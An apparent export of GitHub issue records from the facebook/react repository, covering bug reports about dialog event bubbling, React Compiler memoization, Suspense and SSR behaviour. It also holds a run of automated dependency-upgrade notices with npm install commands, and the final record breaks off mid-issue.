facebook/react,3273141704,Bug: `<dialog>` onClose and onCancel events bubbling,"React version: 19.1.1
Chrome version: 138.0.7204.169

## Steps To Reproduce

1. Click ""Open Outer Dialog""
2. Click ""Open Inner Dialog""
3. Click ""Close Inner Dialog"" or press Esc on keyboard

Link to code example:

React repro: https://codesandbox.io/p/sandbox/qkndj4
Plain JS comparison: https://codepen.io/heguro/pen/XJmNeJr

## The current behavior

In the React repro, clicking ""Close Inner Dialog"" produces the following logs:
```
inner dialog: onClose
outer dialog: onClose
div: onClose
```

In plain JS, the [close](https://developer.mozilla.org/en-US/docs/Web/API/HTMLDialogElement/close_event) and [cancel](https://developer.mozilla.org/en-US/docs/Web/API/HTMLDialogElement/cancel_event) events do not bubble, so the same operation only outputs `inner dialog: onClose`.

## The expected behavior

Should only output the following log, same as plain JS behavior:
```
inner dialog: onClose
```

## Additional context

In `packages/react-dom-bindings/src/events/DOMPluginEventSystem.js`, both `'close'` and `'cancel'` are listed in `nonDelegatedEvents`:

https://github.com/facebook/react/blob/33a2bf78c47bf3298655908eec123f5fedbebcc7/packages/react-dom-bindings/src/events/DOMPluginEventSystem.js#L233-L250

However, in `packages/react-dom-bindings/src/events/plugins/SimpleEventPlugin.js`:

https://github.com/facebook/react/blob/33a2bf78c47bf3298655908eec123f5fedbebcc7/packages/react-dom-bindings/src/events/plugins/SimpleEventPlugin.js#L199-L209

The TODO comment mentions plans to add all ... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-29T10:47:09Z,2025-11-22T18:06:41Z,4
facebook/react,3269961428,Bug: react-dom/client does not provide an export named 'createRoot',"When I use vite create a react project, and use `yarn link` command to link react module after `yarn build`
<img width=""600"" height=""199"" alt=""Image"" src=""https://github.com/user-attachments/assets/b2f47cf8-b7b3-444a-ac28-dd88d5490cdd"" />

React version: 19.1.1

## Steps To Reproduce

1.Clone react source code to local.

2.I follow this article [https://legacy.reactjs.org/docs/how-to-contribute.html](url) step by step after `yarn build`.

3.Run command
`cd build/oss-stable`
`cd react`
`yarn link react`
`cd ../react-dom`
`yarn link react-dom`
`cd ../scheduler`
`yarn link scheduler`

4.Use the vite to create a simple react javascript project.
`yarn create vite my-react` # choose React and Javascript
`cd my-react`
`yarn install`
`yarn link react`
`yarn link react-dom`
`yarn link scheduler`

5.Run simple react project
`yarn dev`

6.Visit the page in chrome and open the console. I saw the error thrown in the above picture.

-----

Did I miss a step or do something wrong?",Status: Unconfirmed,2025-07-28T13:38:23Z,2025-07-29T09:25:18Z,2
facebook/react,3269221028,[Compiler Bug]: Inconsistent errors between React Compiler Playground and latest experimental npm package,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://github.com/laug/test-react-compiler-errors

### Repro steps

Identical source code produces an error using the latest experimental npm package, but produces no error in the playground, nor when using a locally built package from the current main branch of the repo.

1) **Npm package** experimental version used: [0.0.0-experimental-2db0664-20250725](https://www.npmjs.com/package/eslint-plugin-react-compiler/v/0.0.0-experimental-2db0664-20250725) (**has error**)
2) **Playground** link: [link](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHYIB4AcIwAuABACYIBmAhlADYkVQZyECWEGxAgrrgBQBKYsEzFiMBIVic+osQB4AKgjCEASgiosAwhAC2uVrQQwACjAi5iegJ64LuALwByABYJatCM+IB6AHxyApgAvpiYjMxsHMSQeggAYkws7Bh8GFTxyLGEMKwYAOZCIpzEcByQxgB0XgXpmQgCANxyElIwnMBl0BiE2QAsxCEtGGEYmDj4RMSRKTHKqhpahLoGRibmlrKlXbb2lkPZu3YO2ap5hUOYxeGlvr7EyfrxvcSErqxgxLT5CG8QxAAbiZWBQbG93MRcLQqDYChYmKQyBAVOIEFMSD9evkCsQTBYYGBkHJ7tYTpYqlRiI5iABGPwPACiMAJ2XenyBVFoUD+cCoGAwEBIACM-noIKRQawEKRbmJyhhVMRXPzSMYYNTiIJqf5hHJ5RUSBIwHQSDS4olktE0nsHM0GVCqGAvu8-vtcHKxA69FBCFRCH9XWiTfR9cHTVVykwzXSRl6HVRhRBgd9fmUaGBUVi2J... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2025-07-28T10:18:28Z,2025-07-29T22:45:04Z,7
facebook/react,3267002404,[Compiler Bug]:  Compiler does not optimize functions unless manually memoized,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEASggIZyEBmMEGBA5DGRfQNwA6Adl5VJxWgicCAcwR4AkgBMAynlwIAFAEoCwLgQIAbcQTRSCAXgIAGDsIJM8sYb355BwsXgCqnNAEcoCaSrUbNS3EbAgADfQBaABJgAGpY-QBfUPNNRPN0rjghMEJnN09vaSNRcWk5BRVzHj4BIQIoMB8pP3ULKxD89y9mqq5Erhr7Rwam6QB1NDwACxcmgFkEDAhWgI6YYRJyPAA6RoRF5cU-QwA+UtduopblABoCAG0AXWUMwc47OuF9ianZprkpDwSlUbU02U4uUe+ieJS2FD2ALwQKUXUKvWUyjWwQ2eikb04IESQA

### Repro steps

I've noticed that the React compiler doesn't memoize a function (e.g. getUniqueId) returned from a custom hook, even though it's referentially stable. When I manually wrap the return value in React.useMemo, the compiler optimizes it correctly. Is this expected behavior?

Source Code:
```typescript
import React from 'react';

function getIdStore() {
  let id = 0;
  return function getUniqueId() {
    return `id-${++id}`;
  };
};
const getUniqueId = getIdStore();

function useId() {
  return getUniqueId();
}

function useIdWithUseMemo() {
  return React.useMemo(() => getUniqueId(), []);
}

function useIdWithUseState() {
  const [id] = React.useState(getUnique... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2025-07-27T11:13:22Z,2025-07-28T01:26:08Z,4
facebook/react,3265788232,Bug: Issue in the sidebar components with still using hsl,"It looks like the sidebar component still use HSL in here:
```
const sidebarMenuButtonVariants = cva(
  ""peer/menu-button flex w-full items-center gap-2 overflow-hidden rounded-md p-2 text-left text-sm outline-hidden ring-sidebar-ring transition-[width,height,padding] hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 group-has-data-[sidebar=menu-action]/menu-item:pr-8 aria-disabled:pointer-events-none aria-disabled:opacity-50 data-[active=true]:bg-sidebar-accent data-[active=true]:font-medium data-[active=true]:text-sidebar-accent-foreground data-[state=open]:hover:bg-sidebar-accent data-[state=open]:hover:text-sidebar-accent-foreground group-data-[collapsible=icon]:size-8! group-data-[collapsible=icon]:p-2! [&>span:last-child]:truncate [&>svg]:size-4 [&>svg]:shrink-0"",
  {
    variants: {
      variant: {
        default: ""hover:bg-sidebar-accent hover:text-sidebar-accent-foreground"",
        outline:
          ""bg-background shadow-[0_0_0_1px_hsl(var(--sidebar-border))] hover:bg-sidebar-accent hover:text-sidebar-accent-foreground hover:shadow-[0_0_0_1px_hsl(var(--sidebar-accent))]"",
      },
      size: {
        default: ""h-8 text-sm"",
        sm: ""h-7 text-xs"",
        lg: ""h-12 text-sm group-data-[collapsible=icon]:p-0!"",
      },
    },
    defaultVariants: {
      variant: ""default"",
      size: ""default"",
    },
  },
);
```

T... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-26T15:12:32Z,2025-11-10T08:08:03Z,6
facebook/react,3265117004,Bug: Too much uncessary scrolling,Tabs can be used to avoid unncessary scrolling .,Status: Unconfirmed,2025-07-26T04:55:54Z,2025-07-27T22:30:08Z,2
facebook/react,3264884599,Bug: [React 19] Script tags not executing when embedded in components.,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

Embedding a `<script>` tag [according to the documentation](https://react.dev/reference/react-dom/components/script#rendering-an-external-script) does not execute the contents of the script. It seems straightforward, but am I missing something?

React version: 19.1

## Steps To Reproduce

1. Set up a base React app.
2. Include a `<script>` tag anywhere in a component.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

`package.json`
```json
{
  ""main"": ""/index.js"",
  ""scripts"": {
    ""start"": ""react-scripts start"",
    ""build"": ""react-scripts build""
  },
  ""dependencies"": {
    ""react"": ""19.1.0"",
    ""react-dom"": ""19.1.0"",
    ""react-scripts"": ""5.0.1"",
    ""html-format"": ""1.1.7""
  },
}
```

`public/index.html`
... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-26T02:14:49Z,2026-05-03T06:55:56Z,13
facebook/react,3264654910,Bug: Improve error message when function is passed as JSX child,"## Summary
When developers accidentally pass a function as a JSX child (a common mistake for React beginners), the current error message is technically correct but not helpful for debugging and doesn't suggest the most common solution.

## React version
19.x (current stable)

## Steps To Reproduce
1. Create a React component that renders a function directly as a child:
```jsx
function App() {
  const handleClick = () => console.log('clicked');
  return <div>{handleClick}</div>; // Missing parentheses - should be {handleClick()}
}

2. Run the component
3. Observe the error message in the console

Current Behavior
The error message shows:
Warning: Functions are not valid as a React child. This may happen if you return a Component instead of <Component /> from render.
Expected Behavior
The error message should provide more specific guidance for the most common scenarios:
Warning: Functions are not valid as a React child. This may happen if:
- You forgot to call the function: use {functionName()} instead of {functionName}
- You meant to render a component: use <ComponentName /> instead of {ComponentName}
- You intended to pass the function as a prop to a child component
Link to code example
A simple reproduction case can be created by rendering any function directly as JSX content without calling it.
Additional Context
This error is frequently encountered by React beginners, and the current message doesn't point toward the most common solution (missing parentheses when calling a ... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-25T23:41:53Z,2025-10-31T01:33:21Z,2
facebook/react,3258968029,[Compiler Bug]: Component defined inside function cause incorrect optimization,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEASggIZyEBmMEGBA5DGRfQNwA6AdlwgB474ClKJwpoInAgHMEeAJKcsUPAApSASgLAuBAnAlhCAdRiksWBDAIBeAis3WAfFp269BwgAtSnACYAbBABhb04ZGzsHZ21JN11SADoJEJ8Zew5Y3QBfDK5XXSY8WEkVfLcAHjRFZTK45NCZa2BQgOCGhCzagkcu8oB6KqU8HsyCdQzs3NjC4oITMwsYLk7OECygA

### Repro steps

Source code:
```
import React from 'react';

export function getInput(a) {
  const Wrapper = () => {
    const handleChange = () => {
      a.onChange();
    };


    return (
      <input
        onChange={handleChange}
      >
      </input>
    );
  };

  return Wrapper
}

```

After React Compiler, the `handleChange` function was hoisted with function level variables(here is the argument `a`, but it can be any variables defined inside `getInput`)
```
import { c as _c } from ""react/compiler-runtime"";
import React from ""react"";

export function getInput(a) {
  const Wrapper = () => {
    const $ = _c(1);
    const handleChange = _temp;
    let t0;
    if ($[0] === Symbol.for(""react.memo_cache_sentinel"")) {
      t0 = <input onChange={handleChange} />;
      $[... [TRUNCATED]","Type: Bug,Component: React Compiler",2025-07-24T08:17:01Z,2025-08-27T17:59:27Z,1
facebook/react,3257157845,Bug: ,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-07-23T17:23:11Z,2025-08-07T21:21:03Z,0
facebook/react,3253877914,"Bug: Exception thrown by Error Boundary after production build in React 19, not visible in UI but reported via monitoring","After deploying my application using React 19 to production, I intermittently receive error notifications triggered by my custom error boundary (i.e., componentDidCatch in a class-based ErrorBoundary component).

The strange behavior is:
	•	These exceptions do not appear in the UI — the app works as expected visually.
	•	The error seems to occur only after the app has been used for a few days post-deployment.
	•	I am able to catch the exception via monitoring tools (e.g., Sentry, LogRocket, etc.), but cannot reproduce it or observe any direct malfunction in the UI.
	•	This was not happening with React 18, and only began after migrating to React 19.

⸻

Reproduction steps

Unfortunately, the issue is hard to reproduce consistently, but here’s the general flow:
	1.	Deploy app to production using React 19.
	2.	Use the app normally for a first time.
	3.	Receive exception reports from componentDidCatch (without seeing any UI impact).
	4.	The component tree that fails is not removed or visibly broken.

⸻

Expected behavior
	•	If an exception is thrown and caught by an error boundary, I expect it to show a fallback UI (or at least interrupt rendering).
	•	Silent failures with no visible issues but background error boundary triggers are unexpected.

⸻

Actual behavior
	•	Exception is thrown in production and caught by componentDidCatch.
	•	No fallback UI is rendered.
	•	No visual issues seen by users.
	•	Only monitoring tools detect the issue.

⸻

Additional context
	•	Using ErrorBou... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-22T19:45:44Z,2025-10-28T18:08:06Z,3
facebook/react,3253758432,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-07-22T19:00:18Z,2025-07-22T19:00:23Z,0
facebook/react,3242169718,Bug: [React 19] Suspense fallback with periodic state updates causes suspense children with slow render functions to never show,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.1.0

## Steps To Reproduce

1. Go to the example project.
2. Tweak the compute iterations (simulating a slow render function) to a sufficiently large number.

Link to code example: https://stackblitz.com/edit/react-mwegmaqm?file=App.jsx

Reproduced here:

```
import React, { useState, useEffect, use } from 'react';

const LOADING_UPDATE_INTERVAL = 10;

// Setting this value to a large number such that slowCompute() takes longer than the LOADING_UPDATE_INTERVAL means that the suspense will always show the fallback.
const DELAY_ITERS = 200_000;
function slowCompute() {
  for (let i = 0; i < DELAY_ITERS; i++) crypto.randomUUID();
}

// A loading fallback that updates itself, for example to display some cute loading messages.
function Loading() {
  const [count, setCount] = useState(0);
  useEffect(() => {
    const interval = setInterval(() => {
      setCount((prev) => prev + 1);
    }, LOADING_UPDATE_INTERVAL);
    return () => clearInterval(interval);
  }, []);
  return <>Waiting for {count} </>;
}

// The child that renders slowly, in practice this might be a large data table.
function SlowThing(props) {
  const v = use(props.promise);
  slowCompute();
  return <>Loaded</>;
}

const App = () => {
  const promise = new Promise((... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-18T07:07:15Z,2026-01-23T03:34:55Z,9
facebook/react,3241420672,Bug: `React.use` inside `React.lazy`-ed component returns other `React.use` value on SSR,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.1.0, 19.2.0-canary-dffacc7b-20250717

## Steps To Reproduce

Run a following code:

```js
// [Component Tree]
// 
// Component1 -> use(promise1)
//   Component2Lazy
//     COmponent2 -> use(promise2)

import React from ""react"";
import ReactDOMServer from ""react-dom/server.edge"";

const promise1 = Promise.resolve(""value1"");
const promise2 = Promise.resolve(""value2"");

function Component1() {
  const data = React.use(promise1);
  console.log(""[Component1] React.use(promise1) ="", data);
  return React.createElement(
    ""div"",
    null,
    `Component1: ${data}`,
    React.createElement(Component2Lazy),
  );
}

function Component2() {
  const data = React.use(promise2);
  console.log(""[Component2] React.use(promise2) ="", data);
  return React.createElement(""div"", null, `Component2: ${data}`);
}

const Component2Lazy = React.lazy(async () => ({ default: Component2 }));

function App() {
  return React.createElement(""div"", null, React.createElement(Component1));
}

async function main() {
  console.log(""react"", React.version);
  console.log(""react-dom"", ReactDOMServer.version);
  try {
    const stream = await ReactDOMServer.renderToReadableStream(React.createElement(App));
    let html = """";
    await stream.pipeThrough(new TextDeco... [TRUNCATED]","Type: Bug,Component: Server Rendering",2025-07-18T00:42:48Z,2025-07-28T08:36:09Z,5
facebook/react,3241165013,Update webpack-manifest-plugin from ^4.0.2 to 5.0.1,"## Breaking Change Warning
        
A major version update is available for **webpack-manifest-plugin**.

### Current Version
- **^4.0.2**

### Latest Version
- **5.0.1**

### Package Information
- **Description:** A Webpack Plugin for generating Asset Manifests
- **Homepage:** https://github.com/shellscape/webpack-manifest-plugin

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install webpack-manifest-plugin@5.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:58Z,2025-07-19T01:49:25Z,0
facebook/react,3241164988,Update webpack-dev-middleware from ^5.3.4 to 7.4.2,"## Breaking Change Warning
        
A major version update is available for **webpack-dev-middleware**.

### Current Version
- **^5.3.4**

### Latest Version
- **7.4.2**

### Package Information
- **Description:** A development middleware for webpack
- **Homepage:** https://github.com/webpack/webpack-dev-middleware

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install webpack-dev-middleware@7.4.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:57Z,2025-07-19T02:15:16Z,1
facebook/react,3241164961,Update undici from ^5.20.0 to 7.11.0,"## Breaking Change Warning
        
A major version update is available for **undici**.

### Current Version
- **^5.20.0**

### Latest Version
- **7.11.0**

### Package Information
- **Description:** An HTTP/1.1 client, written from scratch for Node.js
- **Homepage:** https://undici.nodejs.org

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install undici@7.11.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:56Z,2025-07-19T02:15:18Z,4
facebook/react,3241164940,Update tailwindcss from ^3.0.2 to 4.1.11,"## Breaking Change Warning
        
A major version update is available for **tailwindcss**.

### Current Version
- **^3.0.2**

### Latest Version
- **4.1.11**

### Package Information
- **Description:** A utility-first CSS framework for rapidly building custom user interfaces.
- **Homepage:** https://tailwindcss.com

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install tailwindcss@4.1.11
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:56Z,2025-07-19T02:15:20Z,1
facebook/react,3241164910,Update style-loader from ^3.3.1 to 4.0.0,"## Breaking Change Warning
        
A major version update is available for **style-loader**.

### Current Version
- **^3.3.1**

### Latest Version
- **4.0.0**

### Package Information
- **Description:** style loader module for webpack
- **Homepage:** https://github.com/webpack-contrib/style-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install style-loader@4.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:55Z,2025-07-19T02:15:22Z,1
facebook/react,3241164887,Update source-map-loader from ^3.0.0 to 5.0.0,"## Breaking Change Warning
        
A major version update is available for **source-map-loader**.

### Current Version
- **^3.0.0**

### Latest Version
- **5.0.0**

### Package Information
- **Description:** extracts inlined source map and offers it to webpack
- **Homepage:** https://github.com/webpack-contrib/source-map-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install source-map-loader@5.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:54Z,2025-07-19T02:15:24Z,1
facebook/react,3241164858,Update sass-loader from ^12.3.0 to 16.0.5,"## Breaking Change Warning
        
A major version update is available for **sass-loader**.

### Current Version
- **^12.3.0**

### Latest Version
- **16.0.5**

### Package Information
- **Description:** Sass loader for webpack
- **Homepage:** https://github.com/webpack-contrib/sass-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install sass-loader@16.0.5
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:54Z,2025-07-19T02:15:27Z,1
facebook/react,3241164830,Update resolve-url-loader from ^4.0.0 to 5.0.0,"## Breaking Change Warning
        
A major version update is available for **resolve-url-loader**.

### Current Version
- **^4.0.0**

### Latest Version
- **5.0.0**

### Package Information
- **Description:** Webpack loader that resolves relative paths in url() statements based on the original source file
- **Homepage:** https://github.com/bholloway/resolve-url-loader/tree/v5/packages/resolve-url-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install resolve-url-loader@5.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:53Z,2025-07-19T02:15:29Z,1
facebook/react,3241164775,Update postcss-preset-env from ^7.0.1 to 10.2.4,"## Breaking Change Warning
        
A major version update is available for **postcss-preset-env**.

### Current Version
- **^7.0.1**

### Latest Version
- **10.2.4**

### Package Information
- **Description:** Convert modern CSS into something browsers understand
- **Homepage:** https://github.com/csstools/postcss-plugins/tree/main/plugin-packs/postcss-preset-env#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install postcss-preset-env@10.2.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:51Z,2025-07-19T02:15:31Z,1
facebook/react,3241164756,Update postcss-normalize from ^10.0.1 to 13.0.1,"## Breaking Change Warning
        
A major version update is available for **postcss-normalize**.

### Current Version
- **^10.0.1**

### Latest Version
- **13.0.1**

### Package Information
- **Description:** Use the parts of normalize.css or sanitize.css you need from your browserslist
- **Homepage:** https://github.com/csstools/postcss-normalize#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install postcss-normalize@13.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:51Z,2025-07-19T02:15:33Z,1
facebook/react,3241164727,Update postcss-loader from ^6.2.1 to 8.1.1,"## Breaking Change Warning
        
A major version update is available for **postcss-loader**.

### Current Version
- **^6.2.1**

### Latest Version
- **8.1.1**

### Package Information
- **Description:** PostCSS loader for webpack
- **Homepage:** https://github.com/webpack-contrib/postcss-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install postcss-loader@8.1.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:50Z,2025-07-19T02:15:35Z,1
facebook/react,3241164698,Update nodemon from ^2.0.19 to 3.1.10,"## Breaking Change Warning
        
A major version update is available for **nodemon**.

### Current Version
- **^2.0.19**

### Latest Version
- **3.1.10**

### Package Information
- **Description:** Simple monitor script for use during development of a Node.js app.
- **Homepage:** https://nodemon.io

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install nodemon@3.1.10
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:50Z,2025-07-19T02:15:37Z,1
facebook/react,3241164673,Update jest-watch-typeahead from ^1.0.0 to 3.0.1,"## Breaking Change Warning
        
A major version update is available for **jest-watch-typeahead**.

### Current Version
- **^1.0.0**

### Latest Version
- **3.0.1**

### Package Information
- **Description:** Jest plugin for filtering by filename or test name
- **Homepage:** https://github.com/jest-community/jest-watch-typeahead

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest-watch-typeahead@3.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:49Z,2025-07-19T02:15:39Z,1
facebook/react,3241164644,Update jest-resolve from ^27.4.2 to 30.0.2,"## Breaking Change Warning
        
A major version update is available for **jest-resolve**.

### Current Version
- **^27.4.2**

### Latest Version
- **30.0.2**

### Package Information

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest-resolve@30.0.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:48Z,2025-07-19T02:15:42Z,1
facebook/react,3241164620,Update jest from ^27.4.3 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **jest**.

### Current Version
- **^27.4.3**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Delightful JavaScript Testing.
- **Homepage:** https://jestjs.io/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:48Z,2025-07-19T02:15:44Z,1
facebook/react,3241164591,Update fs-extra from ^10.0.0 to 11.3.0,"## Breaking Change Warning
        
A major version update is available for **fs-extra**.

### Current Version
- **^10.0.0**

### Latest Version
- **11.3.0**

### Package Information
- **Description:** fs-extra contains methods that aren't included in the vanilla Node.js fs package. Such as recursive mkdir, copy, and remove.
- **Homepage:** https://github.com/jprichardson/node-fs-extra

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install fs-extra@11.3.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:47Z,2025-07-19T02:15:46Z,1
facebook/react,3241164568,Update dotenv-expand from ^5.1.0 to 12.0.2,"## Breaking Change Warning
        
A major version update is available for **dotenv-expand**.

### Current Version
- **^5.1.0**

### Latest Version
- **12.0.2**

### Package Information
- **Description:** Expand environment variables using dotenv
- **Homepage:** https://github.com/motdotla/dotenv-expand#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install dotenv-expand@12.0.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:46Z,2025-07-19T02:15:48Z,1
facebook/react,3241164544,Update dotenv from ^10.0.0 to 17.2.0,"## Breaking Change Warning
        
A major version update is available for **dotenv**.

### Current Version
- **^10.0.0**

### Latest Version
- **17.2.0**

### Package Information
- **Description:** Loads environment variables from .env file
- **Homepage:** https://github.com/motdotla/dotenv#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install dotenv@17.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:46Z,2025-07-19T02:15:51Z,1
facebook/react,3241164526,Update css-minimizer-webpack-plugin from ^3.2.0 to 7.0.2,"## Breaking Change Warning
        
A major version update is available for **css-minimizer-webpack-plugin**.

### Current Version
- **^3.2.0**

### Latest Version
- **7.0.2**

### Package Information
- **Description:** CSS minimizer (minifier) plugin for Webpack
- **Homepage:** https://github.com/webpack-contrib/css-minimizer-webpack-plugin

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install css-minimizer-webpack-plugin@7.0.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:45Z,2025-07-19T02:15:53Z,1
facebook/react,3241164498,Update css-loader from ^6.5.1 to 7.1.2,"## Breaking Change Warning
        
A major version update is available for **css-loader**.

### Current Version
